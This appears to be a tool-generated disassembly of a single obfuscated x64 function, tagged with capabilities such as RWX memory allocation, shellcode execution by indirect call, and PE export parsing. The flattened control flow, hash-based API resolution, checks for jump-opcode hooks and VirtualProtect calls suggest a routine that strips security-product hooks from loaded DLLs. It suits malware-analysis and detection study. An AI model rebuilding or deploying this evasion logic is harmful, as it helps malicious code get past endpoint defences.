Function at 0x180006cd0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x268
mov qword [rsp + 0x150], rdx
mov qword [rsp + 0xd0], rcx
lea rax, [rsp + 0xc0]
mov qword [rsp + 0xd8], rax
mov rcx, qword [rsp + 0xd8]
mov dword [rax], 0x10b
lea rax, [rsp + 0xbc]
mov qword [rsp + 0xe0], rax
mov rcx, qword [rsp + 0xe0]
mov dword [rax], 0x20b
lea rax, [rsp + 0x160]
mov qword [rsp + 0xe8], rax
mov rax, qword [rsp + 0xe8]
xor ecx, ecx
mov edx, 1
mov r8d, 0xc8ac8026
mov r9d, 2
call fcn.18000ffd8
mov qword [rsp + 0x38], rax
mov eax, 0xfcb729d6
mov esi, 0x97a7523f
cmp eax, 0xfcb729d5
jg 0x180006d85
cmp eax, 0x97a7523f
je 0x180006da3
cmp eax, 0xfc6aa6c6
jne 0x180006d6e
jmp 0x180006dc5
cmp eax, 0x1c69baf2
je 0x180006dac
cmp eax, 0xfcb729d6
jne 0x180006d6e
cmp qword [rsp + 0x38], 0
mov eax, 0x1c69baf2
cmove eax, esi
jmp 0x180006d6e
mov eax, 0xfc6aa6c6
xor ebx, ebx
jmp 0x180006d6e
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0xd0]
call rax
mov rbx, rax
mov eax, 0xfc6aa6c6
jmp 0x180006d6e
xor ecx, ecx
mov edx, 1
mov r8d, 0x774393e8
mov r9d, 0x32
call fcn.18000ffd8
mov qword [rsp + 0x38], rax
mov eax, 0x1423be8d
lea rsi, [rsp + 0x160]
mov edi, 0xf12144fe
cmp eax, 0x1423be8c
jg 0x180006e0b
cmp eax, 0xea2757a0
je 0x180006e43
cmp eax, 0xf12144fe
jne 0x180006df4
jmp 0x180006e3c
cmp eax, 0x585cc40e
je 0x180006e29
cmp eax, 0x1423be8d
jne 0x180006df4
cmp qword [rsp + 0x38], 0
mov eax, 0x585cc40e
cmove eax, edi
jmp 0x180006df4
mov rax, qword [rsp + 0x38]
mov rcx, rbx
mov rdx, rsi
mov r8d, 0x104
call rax
mov eax, 0xea2757a0
jmp 0x180006df4
xor ecx, ecx
mov edx, 1
mov r8d, 0x4b935b8e
mov r9d, 6
call fcn.18000ffd8
mov qword [rsp + 0x38], rax
mov eax, 0x80a03462
mov esi, 0x67a8ee1
cmp eax, 0x67a8ee0
jg 0x180006e81
cmp eax, 0x80a03462
je 0x180006ea0
cmp eax, 0x912421e4
jne 0x180006e6a
jmp 0x180006eb0
cmp eax, 0x67a8ee1
je 0x180006e99
cmp eax, 0x3ea43e5a
jne 0x180006e6a
mov rax, qword [rsp + 0x38]
mov rcx, rbx
call rax
mov eax, 0x912421e4
jmp 0x180006e6a
cmp qword [rsp + 0x38], 0
mov eax, 0x3ea43e5a
cmove eax, esi
jmp 0x180006e6a
xor ecx, ecx
mov edx, 1
mov r8d, 0x8f8f114
mov r9d, 0x14
call fcn.18000ffd8
mov qword [rsp + 0x38], rax
mov ecx, 0x7a2c6c1f
lea rsi, [rsp + 0x160]
mov edi, 0x38dc539d
cmp ecx, 0x38dc539c
jg 0x180006ef9
cmp ecx, 0x9f520230
je 0x180006f19
cmp ecx, 0xb180ae4d
jne 0x180006edf
jmp 0x180006f59
cmp ecx, 0x38dc539d
je 0x180006f50
cmp ecx, 0x7a2c6c1f
jne 0x180006edf
cmp qword [rsp + 0x38], 0
mov ecx, 0x9f520230
cmove ecx, edi
jmp 0x180006edf
mov rax, qword [rsp + 0x38]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
mov rcx, rsi
mov edx, 0x80000000
mov r8d, 1
xor r9d, r9d
call rax
mov ecx, 0xb180ae4d
jmp 0x180006edf
mov ecx, 0xb180ae4d
xor eax, eax
jmp 0x180006edf
mov qword [rsp + 0xa8], rax
mov eax, 0x290eee5e
xor r14d, r14d
cmp eax, 0xb0d640e
jle 0x180006fba
cmp eax, 0x58130f34
jle 0x18000702c
cmp eax, 0x724079dc
jle 0x1800070d1
cmp eax, 0x75c77066
jg 0x1800071d8
cmp eax, 0x724079dd
je 0x1800074b5
cmp eax, 0x73265d4d
je 0x1800074d5
cmp eax, 0x73ca8c5b
jne 0x180006f69
mov eax, 0x34c0faf4
mov ebx, 3
jmp 0x180006f69
cmp eax, 0xd73346ae
jg 0x18000707e
cmp eax, 0xb467ae5c
jg 0x18000710c
cmp eax, 0x92779814
jle 0x180007239
cmp eax, 0x92779815
je 0x180007a19
cmp eax, 0x9fb35a2e
je 0x180007542
cmp eax, 0xb3a6e5ec
jne 0x180006f69
mov rax, qword [rsp + 0x138]
mov rax, qword [rsp + 0x130]
mov eax, 0x24f1c2b4
mov ecx, dword [rsp + 0x70]
mov dword [rsp + 0x84], ecx
mov ecx, dword [rsp + 0x68]
mov dword [rsp + 0x80], ecx
jmp 0x180006f69
cmp eax, 0x325d7e11
jg 0x18000714a
cmp eax, 0x226b979f
jle 0x180007264
cmp eax, 0x226b97a0
je 0x18000755c
cmp eax, 0x24f1c2b4
je 0x1800075a4
cmp eax, 0x290eee5e
jne 0x180006f69
cmp qword [rsp + 0xa8], 0
mov eax, 0xb15cca
mov ecx, 0xeb5496a3
cmove eax, ecx
jmp 0x180006f69
cmp eax, 0xeb5496a2
jg 0x180007189
cmp eax, 0xe17d57c1
jle 0x18000728b
cmp eax, 0xe17d57c2
je 0x18000749b
cmp eax, 0xe38c3631
je 0x1800075c4
cmp eax, 0xe7e0eecb
jne 0x180006f69
mov eax, dword [rsp + 0x44]
inc eax
mov dword [rsp + 0x70], eax
mov eax, 0xb3a6e5ec
mov ecx, dword [rsp + 0x54]
mov dword [rsp + 0x68], ecx
jmp 0x180006f69
cmp eax, 0x5f63bd91
jle 0x180007339
cmp eax, 0x5f63bd92
je 0x18000760c
cmp eax, 0x6a35cd19
je 0x18000761e
cmp eax, 0x6df23e05
jne 0x180006f69
mov eax, 0x34c0faf4
mov ebx, 4
jmp 0x180006f69
cmp eax, 0xbe709322
jle 0x180007375
cmp eax, 0xbe709323
je 0x18000764a
cmp eax, 0xcc11612c
je 0x180007668
cmp eax, 0xcf75110b
jne 0x180006f69
mov eax, 0x78780cfb
mov ebp, dword [rsp + 0x64]
mov edi, dword [rsp + 0x6c]
jmp 0x180006f69
cmp eax, 0x34c0faf3
jle 0x1800073b8
cmp eax, 0x34c0faf4
je 0x180007762
cmp eax, 0x431288f9
je 0x18000777b
cmp eax, 0x56724175
jne 0x180006f69
mov rax, qword [rsp + 0x58]
cmp byte [rax + 1], 0x25
mov eax, 0x39fbca1
jmp 0x1800073ab
cmp eax, 0x39fbca0
jle 0x1800073e0
cmp eax, 0x39fbca1
je 0x18000749b
cmp eax, 0x4347b2a
je 0x18000778a
cmp eax, 0x81de956
jne 0x180006f69
mov eax, dword [rsp + 0x44]
mov rcx, qword [rsp + 0x150]
mov dword [rcx], eax
mov eax, 0xb0d640f
mov ecx, dword [rsp + 0x54]
mov dword [rsp + 0x90], ecx
jmp 0x180006f69
cmp eax, 0x75c77067
je 0x1800077d6
cmp eax, 0x78780cfb
je 0x1800077e5
cmp eax, 0x7ac78df4
jne 0x180006f69
mov qword [rsp + 0x140], r13
mov qword [rsp + 0x148], r12
mov eax, dword [rsp + 0x78]
mov dword [rsp + 0x44], eax
mov eax, dword [rsp + 0x74]
mov dword [rsp + 0x54], eax
mov eax, dword [rsp + 0x7c]
sub eax, 1
mov dword [rsp + 0xc4], eax
mov eax, 0xb467ae5d
mov ecx, 0x81de956
cmovb eax, ecx
jmp 0x180006f69
cmp eax, 0x838b309c
je 0x1800077fd
cmp eax, 0x893b22d2
jne 0x180006f69
mov eax, 0xb0d640f
mov dword [rsp + 0x90], 6
jmp 0x180006f69
cmp eax, 0xb0d640f
je 0x180007867
cmp eax, 0x221b138c
jne 0x180006f69
mov rax, qword [rsp + 0x108]
add rax, 0x78
jmp 0x18000790b
cmp eax, 0xd73346af
je 0x180007878
cmp eax, 0xd75c6c75
jne 0x180006f69
mov r15d, edi
mov edi, ebp
mov ebp, ebx
mov rsi, qword [rsp + 0x128]
mov rbx, qword [rsp + 0x158]
xor ecx, ecx
mov edx, 1
mov r8d, 0x1fc0eaee
mov r9d, 7
call fcn.18000ffd8
mov qword [rsp + 0x38], rax
mov ecx, 0x34d22750
cmp ecx, 0x54f59620
jg 0x180007306
cmp ecx, 0x34d22750
je 0x18000731b
cmp ecx, 0x43386227
jne 0x1800072da
mov rax, qword [rsp + 0x38]
mov rcx, rsi
mov rdx, rbx
call rax
mov ecx, 0x68defdfd
jmp 0x1800072da
cmp ecx, 0x54f59621
je 0x180007330
cmp ecx, 0x68defdfd
jne 0x1800072da
jmp 0x1800078bb
cmp qword [rsp + 0x38], 0
mov ecx, 0x43386227
mov edx, 0x54f59621
cmove ecx, edx
jmp 0x1800072da
mov ecx, 0x68defdfd
xor eax, eax
jmp 0x1800072da
cmp eax, 0x58130f35
je 0x1800078df
cmp eax, 0x5c25d08d
jne 0x180006f69
mov rax, qword [rsp + 0x118]
movzx eax, word [rax]
mov ecx, dword [rsp + 0xbc]
cmp ecx, eax
mov eax, 0x431288f9
mov ecx, 0x325d7e12
cmove eax, ecx
jmp 0x180006f69
cmp eax, 0xb467ae5d
je 0x180007993
cmp eax, 0xb6726e78
jne 0x180006f69
mov rax, qword [rsp + 0x58]
movzx eax, byte [rax]
mov dword [rsp + 0xa4], eax
mov eax, dword [rsp + 0xa4]
cmp eax, 0xe9
mov eax, 0xbe709323
mov ecx, 0x6a35cd19
cmove eax, ecx
jmp 0x180006f69
cmp eax, 0x325d7e12
je 0x1800078ff
cmp eax, 0x32cb1807
jne 0x180006f69
mov eax, 0xb3a6e5ec
mov dword [rsp + 0x68], 8
jmp 0x18000754f
cmp eax, 0xeb5496a3
je 0x18000791d
cmp eax, 0xb15cca
jne 0x180006f69
lea rax, [rsp + 0xb8]
mov qword [rsp + 0xf0], rax
mov rax, qword [rsp + 0xf0]
mov rsi, qword [rsp + 0xa8]
xor ecx, ecx
mov edx, 1
mov r8d, 0xaef7cbf1
mov r9d, 0x25
call fcn.18000ffd8
mov qword [rsp + 0x38], rax
mov ecx, 0x91d77c53
cmp ecx, 0x2b36d533
jg 0x180007469
cmp ecx, 0x91d77c53
je 0x180007486
cmp ecx, 0x1f182e7a
jne 0x180007438
mov rax, qword [rsp + 0x38]
mov rcx, rsi
lea rdx, [rsp + 0xb8]
call rax
mov ecx, 0x2b36d534
jmp 0x180007438
cmp ecx, 0x2b36d534
je 0x180007932
cmp ecx, 0x642a892d
jne 0x180007438
mov ecx, 0x2b36d534
xor eax, eax
jmp 0x180007438
cmp qword [rsp + 0x38], 0
mov ecx, 0x1f182e7a
mov edx, 0x642a892d
cmove ecx, edx
jmp 0x180007438
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x6c], eax
mov eax, 0xcf75110b
mov ecx, dword [rsp + 0x44]
mov dword [rsp + 0x64], ecx
jmp 0x180006f69
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x80], eax
mov eax, 0x24f1c2b4
mov ecx, dword [rsp + 0x44]
mov dword [rsp + 0x84], ecx
jmp 0x180006f69
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
movsxd rax, dword [rax + 0x3c]
add rax, qword [rsp + 0x48]
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
add rax, 0x18
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0x118]
movzx eax, word [rax]
mov ecx, dword [rsp + 0xc0]
cmp ecx, eax
mov eax, 0x5c25d08d
mov ecx, 0x221b138c
cmove eax, ecx
jmp 0x180006f69
mov eax, 0xb3a6e5ec
mov dword [rsp + 0x68], 7
mov ecx, dword [rsp + 0x44]
mov dword [rsp + 0x70], ecx
jmp 0x180006f69
mov eax, dword [rsp + 0xa0]
mov rcx, qword [rsp + 0xf8]
mov qword [rsp + 0x20], rax
mov edx, 4
xor r8d, r8d
xor r9d, r9d
call qword [0x18003a290]
mov qword [rsp + 0x100], rax
cmp qword [rsp + 0x100], 0
mov eax, 0x73265d4d
mov ecx, 0x6df23e05
cmove eax, ecx
jmp 0x180006f69
mov eax, 0xcf75110b
mov ecx, dword [rsp + 0x84]
mov dword [rsp + 0x64], ecx
mov ecx, dword [rsp + 0x80]
mov dword [rsp + 0x6c], ecx
jmp 0x180006f69
mov rcx, qword [rsp + 0xa8]
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0
xor edx, edx
mov r8d, 2
xor r9d, r9d
call qword [0x18003a288]
mov qword [rsp + 0xf8], rax
cmp qword [rsp + 0xf8], r14
mov eax, 0x226b97a0
mov ecx, 0x73ca8c5b
cmove eax, ecx
jmp 0x180006f69
mov edi, dword [rsp + 0x54]
mov eax, 0x78780cfb
mov ebp, dword [rsp + 0x44]
jmp 0x180006f69
mov rcx, qword [rsp + 0xb0]
mov rdx, qword [rsp + 0x58]
mov r8d, 2
call fcn.180010319
test eax, eax
mov eax, 0x838b309c
mov ecx, 0x724079dd
cmove eax, ecx
jmp 0x180006f69
mov eax, dword [rsp + 0xa4]
cmp eax, 0xff
mov eax, 0xe17d57c2
mov ecx, 0x56724175
cmove eax, ecx
jmp 0x180006f69
mov r15d, ebx
mov rax, qword [rsp + 0xc8]
mov ecx, dword [rax]
mov rdx, qword [rsp + 0x48]
call fcn.180007a4c
mov eax, eax
mov rcx, qword [rsp + 0x48]
lea r14, [rcx + rax]
add r14, 0x1c
mov ecx, dword [r14 + 4]
mov rdx, qword [rsp + 0x48]
call fcn.180007a4c
mov ebx, eax
mov r13, qword [rsp + 0x48]
mov qword [rsp + 0x120], r14
mov rax, qword [rsp + 0x120]
mov ecx, dword [rax]
mov rdx, qword [rsp + 0x48]
call fcn.180007a4c
mov ecx, dword [r14 + 8]
mov rdx, qword [rsp + 0x48]
call fcn.180007a4c
mov esi, eax
mov r12, qword [rsp + 0x48]
mov eax, dword [r14 - 4]
mov dword [rsp + 0x7c], eax
xor r14d, r14d
xor ecx, ecx
mov edx, 1
mov r8d, 0xc8ac8026
mov r9d, 2
call fcn.18000ffd8
mov qword [rsp + 0x38], rax
mov ecx, 0xfcb729d6
cmp ecx, 0xfcb729d5
jg 0x18000771e
cmp ecx, 0x97a7523f
je 0x180007743
cmp ecx, 0xfc6aa6c6
jne 0x180007701
jmp 0x180007953
cmp ecx, 0x1c69baf2
je 0x18000774c
cmp ecx, 0xfcb729d6
jne 0x180007701
cmp qword [rsp + 0x38], 0
mov ecx, 0x1c69baf2
mov edx, 0x97a7523f
cmove ecx, edx
jmp 0x180007701
mov ecx, 0xfc6aa6c6
xor eax, eax
jmp 0x180007701
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0xd0]
call rax
mov ecx, 0xfc6aa6c6
jmp 0x180007701
mov rax, qword [rsp + 0xf0]
mov eax, 0x92779815
mov dword [rsp + 0x94], ebx
jmp 0x180006f69
mov eax, 0x34c0faf4
mov ebx, 5
jmp 0x180006f69
mov rdx, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x58]
mov r8d, 0xa
call fcn.18001021a
mov r8d, dword [rsp + 0x9c]
mov rcx, qword [rsp + 0x58]
mov edx, 0x40
lea r9, [rsp + 0x98]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
mov eax, 0xe7e0eecb
mov ecx, 0x32cb1807
cmove eax, ecx
jmp 0x180006f69
mov eax, 0x34c0faf4
mov ebx, 2
jmp 0x180006f69
mov eax, 0xd73346af
mov dword [rsp + 0x8c], ebp
mov dword [rsp + 0x88], edi
jmp 0x180006f69
lea r9, [rsp + 0x9c]
mov qword [rsp + 0x130], r9
mov rax, qword [rsp + 0x130]
mov dword [rsp + 0x9c], r14d
lea rax, [rsp + 0x98]
mov qword [rsp + 0x138], rax
mov rax, qword [rsp + 0x138]
mov dword [rsp + 0x98], r14d
mov rcx, qword [rsp + 0x58]
mov edx, 0x40
mov r8d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
mov eax, 0x4347b2a
mov ecx, 0x9fb35a2e
cmove eax, ecx
jmp 0x180006f69
mov eax, 0x34c0faf4
mov ebx, dword [rsp + 0x90]
jmp 0x180006f69
mov r13, qword [rsp + 0x140]
add r13, 4
mov r12, qword [rsp + 0x148]
add r12, 2
mov eax, 0x7ac78df4
mov ecx, dword [rsp + 0xc4]
mov dword [rsp + 0x7c], ecx
mov ecx, dword [rsp + 0x8c]
mov dword [rsp + 0x78], ecx
mov ecx, dword [rsp + 0x88]
mov dword [rsp + 0x74], ecx
jmp 0x180006f69
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x58], 0
mov eax, 0xb6726e78
mov ecx, 0x5f63bd92
cmove eax, ecx
mov ebx, ebp
mov ebp, edi
mov edi, r15d
jmp 0x180006f69
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x88], eax
mov eax, 0xd73346af
mov ecx, dword [rsp + 0x44]
mov dword [rsp + 0x8c], ecx
jmp 0x180006f69
mov rax, qword [rsp + 0x110]
add rax, 0x70
mov qword [rsp + 0xc8], rax
mov eax, 0xcc11612c
jmp 0x180006f69
mov eax, 0x92779815
mov dword [rsp + 0x94], 1
jmp 0x180006f69
mov dword [rsp + 0xa0], eax
cmp dword [rsp + 0xa0], 0
mov eax, 0xe38c3631
mov ecx, 0x75c77067
cmove eax, ecx
jmp 0x180006f69
mov ecx, ebx
add r13, rcx
mov ecx, esi
add r12, rcx
mov qword [rsp + 0x128], rax
cmp qword [rsp + 0x128], 0
mov eax, 0x7ac78df4
mov ecx, 0x893b22d2
cmove eax, ecx
mov dword [rsp + 0x78], 0
mov dword [rsp + 0x74], 0
mov ebx, r15d
jmp 0x180006f69
mov rax, qword [rsp + 0x140]
mov ecx, dword [rax]
mov rdx, qword [rsp + 0x48]
call fcn.180007a4c
mov eax, eax
add rax, qword [rsp + 0x48]
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x120]
mov ecx, dword [rax]
mov rdx, qword [rsp + 0x48]
call fcn.180007a4c
mov eax, eax
add rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x148]
movzx ecx, word [rcx]
mov ecx, dword [rax + rcx*4]
mov rdx, qword [rsp + 0x48]
call fcn.180007a4c
mov eax, eax
add rax, qword [rsp + 0x48]
mov qword [rsp + 0xb0], rax
mov rcx, qword [rsp + 0xb0]
call fcn.180007cf8
test al, al
mov eax, 0xd75c6c75
mov ecx, 0x58130f35
cmovne eax, ecx
jmp 0x180006f69
mov rax, qword [rsp + 0xe8]
mov rax, qword [rsp + 0xe0]
mov rax, qword [rsp + 0xd8]
mov eax, dword [rsp + 0x94]
add rsp, 0x268
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret